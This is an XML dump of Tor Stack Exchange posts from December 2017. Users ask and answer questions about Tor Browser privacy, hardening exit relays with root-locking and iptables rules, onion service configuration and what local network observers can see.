  <row Id="16218" PostTypeId="2" ParentId="15056" CreationDate="2017-12-03T15:05:23.887" Score="0" Body="&lt;p&gt;Fixed it at last !!  For anyone else suffering the same problem, in my case it was simply as follows.&#xA;Problem was IBM Rapport Trusteer, which is a common endpoint security programme for online banking security.&#xA;Not necessary to uninstall it, you can stop it to use Tor then restart it to do banking, as described in the IBM help page here: &lt;a href=&quot;https://www.ibm.com/support/knowledgecenter/en/SS7MJT_1507/ug/t_Stopping_Rapport.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ibm.com/support/knowledgecenter/en/SS7MJT_1507/ug/t_Stopping_Rapport.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, when restarting Trusteer, just:&#xA;From the Windows Start menu, select &#xA;Programs &gt; Trusteer Endpoint Protection &gt; Start Trusteer Endpoint Protection&lt;/p&gt;&#xA;" OwnerUserId="17959" LastActivityDate="2017-12-03T15:05:23.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16221" PostTypeId="1" CreationDate="2017-12-05T02:28:10.167" Score="0" ViewCount="221" Body="&lt;p&gt;I'm running some tor exitrelays with rsyslog off. Does this disable ALL loggin? If no how I disable ALL loggin?&#xA;Next to that I want to secure those against hijacking as good as possible. So I was thinking to disable root and all sudoers. Which commands and file I need to remove for that. And what about blocking port except for the needed ports for tor etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Person with the best/most complete answer will get $50 bitcoin, please leave your wallet adress after answering&lt;/p&gt;&#xA;" OwnerUserId="20011" LastActivityDate="2021-12-16T16:06:15.680" Title="How to secure my torrelays against hijacking (debian), bounty $50" Tags="|security|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16222" PostTypeId="2" ParentId="456" CreationDate="2017-12-05T02:48:23.323" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any other serious obstacle for such attacks over Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Many services will automatically block exit nodes, or will be more strict with detecting possible attacks from exit nodes. Even if they are not blocked now, they will be blocked in the future once an attack occurs, screwing over both the attacker and innocent Tor users.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there known cases when was the Tor network abused for a successful low bandwidth attack?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Plenty. Since there are utilities which are designed to go over Tor (especially for easy use by script kiddies...), you can bet that this has been done. If it works over a normal network, it works over Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Were any counter-measures against such abuse considered? I can imagine for example limiting number of exit-relays a single Tor client can create circuits to though such a limitation could be overcame by modifying the Tor client or running multiple instances of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Low bandwidth DoS attacks are easy to counter in general, such as by changing various timeout parameters. This is commonly done on larger servers, and is easy to implement on smaller ones as well. It largely mitigates these attacks regardless of whether or not they are using Tor.&lt;/p&gt;&#xA;" OwnerUserId="20214" LastActivityDate="2017-12-05T02:48:23.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16223" PostTypeId="2" ParentId="16221" CreationDate="2017-12-05T03:04:37.433" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this disable ALL loggin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sort of. It disables all logging to the disk as done by the syslog daemon, but there will still be some kernel logs stored in memory that last either until it gets too full or the system reboots. See the output of the command &lt;code&gt;dmesg&lt;/code&gt; to view these logs. These logs do not need to be disabled, as they are ephemeral and harmless.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Next to that I want to secure those against hijacking as good as possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a very complicated process that takes years to understand even the basics. You may want to consider using OpenBSD, as it is fairly secure out-of-the-box and is not much different from Linux in terms of administration (OpenBSD derived directly from UNIX, and Linux being UNIX-like).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So I was thinking to disable root and all sudoers. Which commands and file I need to remove for that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disabling root only prevents logging in as root with the proper credentials. An exploit can still be used to get root. In other words, &quot;disabling&quot; root simply tells &lt;code&gt;su&lt;/code&gt; and &lt;code&gt;sudo&lt;/code&gt; to always deny access, but does not remove support for root in the kernel. In the kernel, users are identified numerically. These are called UIDs, with the most privileged, root, being 0. If an exploit against a privileged process succeeds, an attacker can gain root. There is no way to disable a UID in the kernel. Disabling root login would only help against malicious software that knows your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to, you can lock root logins using &lt;code&gt;passwd&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;passwd -l root # locks the root user&#xA;chage -E 0 root # expires the root password, to lock SSH logins&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be reversed as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;passwd -u root&#xA;chage -E -1 root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And what about blocking port except for the needed ports for tor etc etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ports are blocked by default unless there is any listener. You can block incoming ports explicitly by using &lt;code&gt;iptables&lt;/code&gt;, such as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A INPUT -m tcp -p tcp --dport 9050 -j ACCEPT&#xA;iptables -A INPUT -m tcp -p tcp --dport 9001 -j ACCEPT&#xA;iptables -A INPUT -m tcp -p tcp --dport 22 -j ACCEPT&#xA;iptables -P INPUT DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming the only ports used by Tor are 9050 and 9001, and SSH is on port 22. This is just an example. Unless you have other services running on the system which are listening on the network, there is not much risk of leaving ports open. You can still block them to be safe, though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Person with the best/most complete answer will get $50 bitcoin, please leave your wallet adress after answering&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's no need to have a monitory bounty, but if you still want to, please consider donating to the EFF (Electronic Frontier Foundation)! Every dollar helps them.&lt;/p&gt;&#xA;" OwnerUserId="20215" LastEditorUserId="-1" LastEditDate="2017-12-06T23:13:20.730" LastActivityDate="2017-12-06T23:13:20.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16224" PostTypeId="2" ParentId="2080" CreationDate="2017-12-05T03:46:03.780" Score="0" Body="&lt;p&gt;While a lot of people are suggesting to use plugins and other such potentially risky solutions, you may want to try using a video player that supports flash. The &lt;code&gt;mpv&lt;/code&gt; program, for example, can play flash videos embedded within &lt;code&gt;.swf&lt;/code&gt; files (i.e. the same type in &lt;code&gt;.flv&lt;/code&gt; files). While it doesn't support a SOCKS proxy out of the box, you can use &lt;code&gt;torsocks&lt;/code&gt; with it to send traffic through Tor.&lt;/p&gt;&#xA;" OwnerUserId="20217" LastEditorUserId="-1" LastEditDate="2017-12-11T05:22:58.497" LastActivityDate="2017-12-11T05:22:58.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16226" PostTypeId="1" CreationDate="2017-12-05T11:57:45.523" Score="1" ViewCount="364" Body="&lt;p&gt;When using Tor, I enable scripts globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the websites that I visit extract info such as how many hours ahead or behind UTC my device is configured, MAC addresses of my NIC, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My device runs on Ubuntu OS.&lt;/p&gt;&#xA;" OwnerUserId="20013" LastActivityDate="2021-12-18T11:04:00.350" Title="Can Tor protect me from websites that aim to extract info from my device?" Tags="|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16227" PostTypeId="2" ParentId="16226" CreationDate="2017-12-05T13:36:02.987" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/7hp71q/can_tor_protect_me_from_websites_that_aim_to/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This person asked this question on /r/tor as well&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You're talking about Tor Browser. Not Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does a much better job than any other browser. &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;A lot of thought&lt;/a&gt; has gone into its security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, I don't think getting a MAC address with JavaScript is even possible.* &lt;a href=&quot;https://stackoverflow.com/questions/16556700/how-to-get-client-mac-address-by-using-javascript&quot;&gt;First Google result&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's trivial to get what time your computer thinks it is with JavaScript. If your browser doesn't lie about (or just omits entirely) your timezone, that's simple too. Since Tor Browser lies about (or omits, idk which) your timezone, websites only learn how inaccurate your clock is when you have JavaScript enabled. They learn nothing with it disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* Exploits don't count. If they did count, then you're screwed because I'd assume the Bad Guy can do just about anything on your computer at that point&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-05T13:36:02.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16228" PostTypeId="1" CreationDate="2017-12-05T16:23:58.197" Score="1" ViewCount="149" Body="&lt;p&gt;I'm struggling to find information on how to route non Tor services over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say i wanted to run a GPS tracking server as a hidden service, I could create a hidden service and point that to the listening port of the tracking server (e.g. TCP 9001). The tracking server would then have a .onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the client, (any OS that will work) how could I force traffic to be routed to the hidden service's .onion address? I'm thinking something like, tell the client software the server is at localhost:9001, then use something like torsocks to forward all traffic for 9001 to the .onion address. Is this possible, even if it is potentially unsafe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Tor so please forgive me if it is a stupid question! Any help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="20228" LastActivityDate="2018-07-03T19:39:35.903" Title="Non-tor service over tor" Tags="|onion-routing|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16229" PostTypeId="2" ParentId="16228" CreationDate="2017-12-05T16:46:54.223" Score="1" Body="&lt;p&gt;You have the following options.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the client software's native support for socks proxies, if available&lt;/li&gt;&#xA;&lt;li&gt;Use torsocks&lt;/li&gt;&#xA;&lt;li&gt;Use OS-wide transparent proxying, ideally on an OS that has done this intelligently like Tails.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-05T16:46:54.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16230" PostTypeId="1" CreationDate="2017-12-05T18:49:53.160" Score="0" ViewCount="134" Body="&lt;p&gt;Consider the person whose knowledge of computers goes only as far as their &quot;Computer Class&quot; in highschool, which was really only about Microsoft Office anyways. They pretty much heard about Tor on Youtube, they download the Tor Browser using Chrome, as far as precautionary measures they know to exit Chrome and not use full screen on Tor and tape over their camera, and of course to not use identifiable words such as addresses, emails, names, numbers...etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can that person be comfortable in assuming that their completely Anonymous when, using Tor or is there new steps or programs someone should use with Tor,  or extra precautions they should take. I just cant honestly believe it can just be as simple as using a different browser, at least no stay that simple for long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im asking because I know that when talking about the world of Computers, internet, and internet capable devices from a security standpoint, things are always evolving, advancing and changing so what you knew about something a month ago may no longer be the case. For example when cell phones really became advanced, im talking only touch screens from then on out, the app market was starting to grow really fast. Around the time of the iphone 5 put it that way. At that time cheating in a relationship became so so so much easier, the means to do it, the ways to meet people to cheat with were everywhere, but then a shift happened and now its very easy for someone who's not an experienced hacker to catch someone cheating whereas before the apps that provided secrecy and privacy ruled the domain, but then idk I guess the league of estranged relationship partners formed and they took them down one by one lol. Although its gotten a bit harder It is still possible to cheat and leave no tracks im sure but today its a lot easier to get caught then it was. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the tangent. Back to my question. If a completely computer illiterate was to ask for a basic list in layman's terms maybe even with links of the steps and processes they should take to stay anonymous. Not like running from the Russian Government anonymous but just to idk order some Cuban Cigars anonymous (if that reference is not aloud I will remove it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im seriously hoping someone can make a simple list of numbered steps and then above or below those steps could go into detail (if the want to) why these steps are important, how they've changed, and then if and how the process might changed again, or even if Tor is still the right way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced for the answers. And I hope you Ladies and Gents are having a wonderful week!&lt;/p&gt;&#xA;" OwnerUserId="20229" LastActivityDate="2017-12-06T22:32:35.303" Title="Are Non computer savvy ppl fully protected/anonymous on tor" Tags="|tor-browser-bundle|tor-install|pre-tor-proxy|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16233" PostTypeId="2" ParentId="15505" CreationDate="2017-12-06T20:40:05.707" Score="2" Body="&lt;p&gt;It could most likely be your anti-virus that's causing this. Go to the anti-virus application you have installed and try turning off the &quot;file protection&quot; option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Bitdefender, this is the Safe Files option within Protection Features. &lt;/p&gt;&#xA;" OwnerUserId="20245" LastActivityDate="2017-12-06T20:40:05.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16234" PostTypeId="2" ParentId="16230" CreationDate="2017-12-06T22:32:35.303" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can that person be comfortable in assuming that their completely Anonymous when, using Tor or is there new steps or programs someone should use with Tor, or extra precautions they should take. I just cant honestly believe it can just be as simple as using a different browser, at least no stay that simple for long.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it's not and the Tor Project &lt;em&gt;explicitly states&lt;/em&gt; that it is not both on the &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page for Tor Browser&lt;/a&gt; &lt;em&gt;and&lt;/em&gt; on the about:tor landing page which is the &lt;em&gt;first thing that you see every time you open Tor Browser.&lt;/em&gt; It states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor is NOT all you need to browse anonymously! You may need to change some of your browsing habits to ensure your identity stays safe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is not a technological one, or a technological understanding one. It is behavioural, it &lt;em&gt;cannot&lt;/em&gt; be fixed by simply adding more technology or gaining more technological understanding. It requires that users &lt;em&gt;change their behaviour&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-06T22:32:35.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16235" PostTypeId="1" CreationDate="2017-12-07T05:43:50.663" Score="0" ViewCount="176" Body="&lt;p&gt;Suppose I am at an institution and download the Tor Browser (they now know I am using Tor) for research on a highly controversial subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the downloaded Tor browser immediately and visit for example &lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com&lt;/a&gt; (not https), what will the insitution know?&#xA;Also suppose I am connected to the through an ethernet cable, using their computer (assume they do not have their own certificate installed. that is I am not being MITM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they review their logs and no law enforcement is involved, what can they know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they know I am viewing example.com or do they only know I am connected to a Tor node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can they see what I am viewing (the actually web content)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I visit HTTPS websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I should know before doing this research? (research is on legal stuff: &lt;em&gt;not&lt;/em&gt; CP and the like)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume I will only visit clear text websites - not onion sites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also do not care that they know I am using Tor&lt;/p&gt;&#xA;" OwnerUserId="20252" LastEditorUserId="20069" LastEditDate="2017-12-10T19:34:41.953" LastActivityDate="2017-12-10T19:34:41.953" Title="What do local network adversaires see?" Tags="|tor-browser-bundle|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16236" PostTypeId="1" AcceptedAnswerId="16242" CreationDate="2017-12-07T08:50:57.073" Score="0" ViewCount="453" Body="&lt;p&gt;I've read that it's best to host Tor and your website service on separate machines and then point your torrc file to your web host (host where website files are stored). It's quite possible that my Tor machine and web host will be geographically separate. Assuming my web host has a public IP of say 41.14.44.11, I would change my Tor host machine settings to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 41.14.44.11:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question: Does this mean that my Tor machine will have to go out onto the clearnet to connect to my web host and then receive the data back from the host and then serve it to my visitors, essentially making it a sort of &quot;exit node&quot; to connect to my web host?&#xA;This would be very bad for security and anonymity. The data between the Tor host and web host will also be plain text unless SSL is implemented between the two, correct? Or how would you ensure encryption for the data from the web host back into Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it not be possible (and better) to also set up Tor on the web host machine and then point the Tor host machine to the .onion link of my web host, thus keeping all the traffic inside the Tor network and essentially turning the Tor machine into a sort of proxy while still making it secure so that if my Tor service was to be compromised my webhost would still be safe? Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 xxxxxxxxxxxxxxxx.onion:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20254" LastActivityDate="2017-12-08T00:21:21.833" Title="Hosting Tor and Web service on separate machines security issues" Tags="|security|web-proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16237" PostTypeId="2" ParentId="16236" CreationDate="2017-12-07T13:13:56.890" Score="0" Body="&lt;p&gt;Where did you read that advice? I know there's advice out there that suggests you don't run a Tor &lt;strong&gt;relay&lt;/strong&gt; on the same machine as an onion service. But that's a different thing entirely. Unless you're enterprise-sized, it's best to run Tor on the same machine as the webserver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because, yes. A torrc with the following &lt;strong&gt;will send web traffic over the Internet unprotected. BAD&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HiddenServicePort 80 41.14.44.11:8080&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The much more intelligent thing to do is run your webserver and Tor on the same machine and use localhost in the torrc instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think you are confusing the Tor client you run on the machine in front of you in order to access the Tor network with the Tor client you need to run on a server somewhere in order to give your website a .onion address.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastEditorUserId="20069" LastEditDate="2017-12-07T13:19:31.040" LastActivityDate="2017-12-07T13:19:31.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16238" PostTypeId="2" ParentId="16235" CreationDate="2017-12-07T13:18:23.137" Score="1" Body="&lt;p&gt;This interactive infographic answers all your questions.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do they know I am viewing example.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or do they only know I am connected to a Tor node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can they see what I am viewing (the actually web content)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What if I visit HTTPS websites?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Changes absolutely nothing with respect to local network adversaries.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything I should know before doing this research?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That infographic. The &lt;a href=&quot;https://www.torproject.org/download/download-easy.html#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;warnings on the Tor Browser download page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-07T13:18:23.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16239" PostTypeId="1" AcceptedAnswerId="16241" CreationDate="2017-12-07T16:27:33.640" Score="0" ViewCount="314" Body="&lt;p&gt;I have tor running on a pc, with its socks server listening on localhost port 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to limit the socks server in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;socks requests (from clients) should be allowed only for a given hidden service url, and blocked for any other request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with tor? How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="19106" LastActivityDate="2018-01-07T03:57:24.473" Title="limit tor socks server to a certain hidden service" Tags="|onion-services|socks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16241" PostTypeId="2" ParentId="16239" CreationDate="2017-12-07T22:46:38.093" Score="0" Body="&lt;p&gt;No, this cannot be done within Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to run some SOCKS shim to filter out requests that aren't explicitly for that onion address which should be a simple (for a programmer) task if the application using the SOCKSPort is using SOCKS5h or SOCKS4a (if it's not, it's a bit more involved) but it would need to be done &lt;em&gt;outside&lt;/em&gt; of Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-07T22:46:38.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16242" PostTypeId="2" ParentId="16236" CreationDate="2017-12-07T23:48:34.197" Score="0" Body="&lt;p&gt;This is a terrible idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you're routing all &lt;em&gt;plaintext&lt;/em&gt; HTTP requests and responses back and forth over the &lt;em&gt;open internet&lt;/em&gt;. Absolutely everyone with network visibility can see the entire contents of every HTTP request. Even using HTTPS would result in people able to tie the requests to the .onion address due to &lt;a href=&quot;https://en.wikipedia.org/wiki/Server_Name_Indication&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLS SNI&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, allowing the onion service direct access to the internet in the first place &lt;em&gt;should be avoided&lt;/em&gt;. Most webserver hosting technologies are large and complex and were never designed with anonymity, privacy or proxy obedience in mind. They leak, and can be induced to make connections (in often unexpected ways) that can deanonymize them. &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/onion-dns-leaks.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;I recently ran a scan of the entire Ahmia onion list and managed to cause approx. ~80 onions to perform DNS lookups, of my choosing, outside of Tor&lt;/a&gt;. If making connections across the internet to some remote host, then the simple ability to determine &lt;code&gt;$_SERVER['REMOTE_ADDR']&lt;/code&gt; or &lt;code&gt;$_SERVER['SERVER_ADDR']&lt;/code&gt; would be sufficient to discover the location of the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people on the other ticket suggest running the web server and Tor on separate machines, they mean on a network that you control and only you have visibility of, be it a physical LAN or a virtual network undera hypervisor. By isolating the web server from direct internet access, you increase your resilience to exploitation or accidental leaks as a means of deanonymization.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HTTPD] &amp;lt;--Local/Private Network--&amp;gt; [Tor Enforcment/Firewall] &amp;lt;--Tor Network--&amp;gt; [Attacker]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above scenario, an attacker who is able to exploit the &lt;code&gt;HTTPD&lt;/code&gt; or web app is still unable to directly connect back to the internet without then &lt;em&gt;also&lt;/em&gt; exploiting the &lt;code&gt;Tor Enforcement/Firewall&lt;/code&gt; device, defeating many attackers and drastically increasing the cost and risk for others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting this up properly is no simple task and comes with many of it's own caveats and potential pitfalls but if done right, it does have distinct advantages &lt;em&gt;against sophisticated attackers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in most cases simply using a local packet filter (e.g. &lt;code&gt;iptables&lt;/code&gt;) to stop outbound connections outside of Tor and using 127.0.0.1 for your onion services would be sufficient (it would still require an additional privilege escalation exploit to bypass the network filter) to stop &lt;em&gt;most&lt;/em&gt; attackers.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-12-08T00:21:21.833" LastActivityDate="2017-12-08T00:21:21.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16243" PostTypeId="1" CreationDate="2017-12-08T13:05:40.693" Score="1" ViewCount="551" Body="&lt;p&gt;I wish to compile TOR into DLL, so that I can include it in C# project. I will then use pInvoke to start it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently to compile I use following steps, but it builds tor.EXE&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Type &quot;tar zxf tor- 0.3.1.9.tar.gz &quot;&lt;/li&gt;&#xA;&lt;li&gt;cd tor- 0.3.1.9&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;./configure --disable-gcc-hardening  --enable-static-libevent  --enable-static-openssl  --enable-static-zlib  --with-libevent-dir=../libevent-2.0.21-stable/   --with-openssl-dir=../openssl-1.0.1h/   --with-zlib-dir=../zlib-1.2.8/&quot;&lt;/li&gt;&#xA;&lt;li&gt;Type &quot;make&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So can anyone guide me, how can I compile TOR into DLL ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="20264" LastEditorUserId="20264" LastEditDate="2017-12-08T13:29:04.920" LastActivityDate="2017-12-08T13:29:04.920" Title="How to compile TOR into DLL" Tags="|tor-install|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16244" PostTypeId="1" AcceptedAnswerId="16245" CreationDate="2017-12-01T20:50:46.127" Score="0" ViewCount="972" Body="&lt;p&gt;From what I have read so far from the internet, in order to use the hidden service, the hidden service contacts random TOR relays and sends the public key to them. The hidden service also signs a hidden service descriptor and this is signed using the private key of the hidden service and is uploaded to the Description Hash Table (DHT). The .onion address are derived from the public key of the hidden service and if I wanted to reach the .onion address, I would send a request to the DHT table and that table will tell me the address of the relays that have connection to the hidden website and those relays will help to establish a connection to the hidden service. The hidden service and the host then decide a rendezvous point (which is also one of the active TOR relay) one this rendezvous point has been decided the connection is established. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, since the hidden service first gives out ONLY its public key to various TOR relays in order to establish connectivity, so wont these TOR relays be aware of the IP address of the hidden service?&lt;/p&gt;&#xA;" OwnerUserId="20270" OwnerDisplayName="Skynet" LastActivityDate="2017-12-08T18:56:51.130" Title="Do Tor relays require knowledge of the real IP address of a hidden service, to enable routing to it?" Tags="|onion-routing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
